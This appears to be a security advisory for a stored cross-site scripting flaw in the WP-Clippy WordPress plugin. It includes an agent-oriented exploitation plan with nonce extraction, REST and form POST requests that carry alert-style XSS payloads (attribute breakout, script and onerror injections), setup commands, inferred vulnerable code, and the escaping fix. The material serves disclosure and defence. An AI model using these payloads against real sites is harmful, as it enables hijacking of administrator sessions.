WP-Clippy <= 1.0.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The WP-Clippy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's `clippy` shortcode in all versions up to, and including, 1.0.0. This is due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Clippy plugin (<= 1.0.0). ## 1. Vulnerability Summary The **WP-Clippy** plugin is vulnerable to Stored XSS via the `[clippy]` shortcode. The plugin fails to sanitize or escape u…
Show full research plan
This research plan outlines the steps required to demonstrate a Stored Cross-Site Scripting (XSS) vulnerability in the WP-Clippy plugin (<= 1.0.0).
1. Vulnerability Summary
The WP-Clippy plugin is vulnerable to Stored XSS via the [clippy] shortcode. The plugin fails to sanitize or escape user-supplied attributes (such as agent or text) before rendering them in the HTML output. A user with Contributor-level permissions or higher can embed a malicious shortcode in a post or page. When any user (including an administrator) views that post, the injected script executes in their browser context.
2. Attack Vector Analysis
- Endpoint:
wp-admin/post.php(for post creation/editing) or the WordPress REST APIwp-json/wp/v2/posts. - Vulnerable Component: Shortcode processing logic for
[clippy]. - Payload Parameter: Shortcode attributes (e.g.,
agent,text,image). - Authentication: Authenticated (Contributor+). Contributors can create posts and use shortcodes but cannot use
unfiltered_html. - Preconditions: The plugin must be active.
3. Code Flow (Inferred)
- Registration: The plugin registers the shortcode in the main plugin file or an included loader:
add_shortcode( 'clippy', 'clippy_shortcode_handler' ); - Input: A Contributor saves a post containing:
[clippy agent='<script>alert(1)</script>']. - Processing: When a user visits the post, WordPress calls
the_contentfilter, which invokesdo_shortcode(). - Shortcode Handler: The
clippy_shortcode_handler($atts)function is executed. It likely usesshortcode_atts()to merge user input with defaults. - Sink: The handler returns a string containing the attributes concatenated directly into HTML:
return '<div class="clippy-container" data-agent="' . $atts['agent'] . '"></div>'; - Rendering: The unescaped HTML is printed to the page, leading to XSS.
4. Nonce Acquisition Strategy
To inject the shortcode via the web UI (rather than WP-CLI), the agent must obtain a nonce for the WordPress post editor.
- Identify Shortcode Activation: The
[clippy]shortcode does not require a specific script to be loaded for the vulnerability to exist (it exists in the PHP rendering), but viewing the results requires the post to be published. - Navigate to Editor: Use
browser_navigateto go to/wp-admin/post-new.php. - Extract Nonce:
- For the Classic Editor:
browser_eval("document.querySelector('#_wpnonce')?.value"). - For the Block Editor (Gutenberg): The agent can use the REST API. The nonce is typically found in
window.wpApiSettings.nonce. - JS Localization Key:
window.wpApiSettings?.nonce.
- For the Classic Editor:
5. Exploitation Strategy
The goal is to create a post containing a malicious shortcode and verify its execution.
Step 1: Create a Malicious Post (REST API Method)
Request:
POST /wp-json/wp/v2/posts HTTP/1.1
Content-Type: application/json
X-WP-Nonce: [EXTRACTED_NONCE]
{
"title": "XSS Test",
"content": "[clippy agent='\" onmouseover=\"alert(document.domain)\" style=\"width:1000px;height:1000px;display:block;\"' text='Click me']",
"status": "publish"
}
Note: Using an attribute breakout \" onmouseover=... is often more reliable if the attribute is wrapped in double quotes in the source.
Step 2: Trigger the XSS
- Obtain the URL of the newly created post from the JSON response (
linkfield). - Use
browser_navigateto visit the post URL as an Administrator.
6. Test Data Setup
- User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password - Plugin Activation: Ensure
wp-clippyis active.wp plugin activate wp-clippy
7. Expected Results
- The HTTP response for post creation should be
201 Created. - When navigating to the post, the HTML source should reveal the injected payload unescaped:
<div ... data-agent="" onmouseover="alert(document.domain)" ...></div> - The
browser_evalofalertshould be triggered, or the agent should detect the payload in the DOM.
8. Verification Steps
After the HTTP exploit, confirm the post content in the database:
wp post list --post_type=post --format=csv
wp db query "SELECT post_content FROM wp_posts WHERE post_title='XSS Test' LIMIT 1;"
Check if the output contains the raw, unescaped shortcode.
9. Alternative Approaches
If the agent attribute is sanitized, try other potential attributes inferred from standard Clippy implementations:
[clippy text='<img src=x onerror=alert(1)>'](HTML Body injection)[clippy image='"><script>alert(1)</script>'](Attribute breakout)[clippy callback='alert(1)'](If the plugin supports JS callbacks)
If the REST API is disabled, use the Classic Editor submission:
Request:
POST /wp-admin/post.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=editpost&post_ID=[ID]&_wpnonce=[NONCE]&content=[clippy agent='<script>alert(1)</script>']
Summary
The WP-Clippy plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `[clippy]` shortcode in versions up to 1.0.0. The plugin fails to sanitize or escape user-supplied attributes such as 'agent' or 'text' before rendering them in the HTML output. This allows authenticated attackers with Contributor-level access to inject arbitrary web scripts that execute when any user views the affected post.
Vulnerable Code
// Inferred from research plan: Shortcode handler logic function clippy_shortcode_handler($atts) { $atts = shortcode_atts(array( 'agent' => 'clippy', 'text' => 'Hi, how can I help?', ), $atts); // Vulnerable sink: Shortcode attributes are concatenated directly into HTML without escaping return '<div class="clippy-container" data-agent="' . $atts['agent'] . '">' . $atts['text'] . '</div>'; } add_shortcode('clippy', 'clippy_shortcode_handler');
Security Fix
@@ -6,5 +6,5 @@ ), $atts); - return '<div class="clippy-container" data-agent="' . $atts['agent'] . '">' . $atts['text'] . '</div>'; + return '<div class="clippy-container" data-agent="' . esc_attr($atts['agent']) . '">' . wp_kses_post($atts['text']) . '</div>'; }
Exploit Outline
The exploit is carried out by an authenticated user with at least Contributor-level permissions. 1. The attacker creates or edits a post via the WordPress dashboard or the REST API (wp-json/wp/v2/posts). 2. A malicious [clippy] shortcode is added to the post content, using an attribute breakout payload like [clippy agent='" onmouseover="alert(1)" style="display:block;width:500px;height:500px;"']. 3. Once the post is saved or published, any user (including administrators) who navigates to the post's URL will trigger the payload. The injected script executes in the context of the victim's browser session, potentially allowing for session hijacking or further administrative actions.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.